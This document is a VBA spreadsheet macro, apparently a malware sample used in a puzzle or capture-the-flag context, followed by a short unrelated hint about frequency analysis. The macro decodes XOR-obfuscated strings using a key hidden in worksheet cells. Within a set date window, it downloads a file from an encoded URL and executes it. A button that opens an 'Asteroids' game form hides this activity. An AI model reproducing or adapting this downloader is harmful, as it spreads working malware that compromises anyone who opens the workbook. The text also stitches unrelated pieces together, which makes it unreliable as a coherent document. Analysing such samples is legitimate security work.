Private Declare Function URLDownloadToFile Lib "urlmon" Alias _

  "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _

  szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" _

  (ByVal hwnd As Long, _

   ByVal lpOperation As String, _

   ByVal lpFile As String, _

   ByVal lpParameters As String, _

   ByVal lpDirectory As String, _

   ByVal nShowCmd As Long) As Long

Private Sub GF()

    WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")

    FL = X("51092F16535C6F003A56")

    RV = URLDownloadToFile(0, WL, FL, 0, 0)

End Sub

Private Sub EX()

    Dim OF As String

    On Error Resume Next

    UP = X("51092F")

    OF = X("40521E4A574924")

    RV = ShellExecute(0, "open", OF, "", UP, 3)

End Sub

Private Function X(DI As String) As String

    Dim CK, sDO As String

    Dim lDP, iXV1, iXV2 As Integer

    On Error Resume Next

    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _

        Worksheets("Data").Range("Z9550")

    For lDP = 1 To (Len(DI) / 2)

        iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))

        iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))

        sDO = sDO + Chr(iXV1 Xor iXV2)

    Next lDP

   X = sDO

End Function

Sub Rectangle1_Click()

    Asteroids.Show False

    Call MN

End Sub

Function KG()

     KG = Worksheets("Sheet2").Range("AE9529") & Worksheets("Sheet2").Range("Z9550") & _

            Worksheets("Sheet2").Range("E8761")

End Function

Sub MN()

    Dim SD As Date

    Dim ED As Date

    Dim CD As Date

'    On Error Resume Next

    SD = X("071C41571D03715472")

    ED = X("071C41521D03715472")

    CD = Date

    If (CD >= SD) And (CD < ED) Then

        Call GF

        Call EX

    End If

End Sub

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Simple frequency analysis should do the trick here [well, for the most part].

This text was written using a special keyboard, no not ergonomic, you asshat.

<hint> The key you are looking for is the namesake of this keyboard. </hint>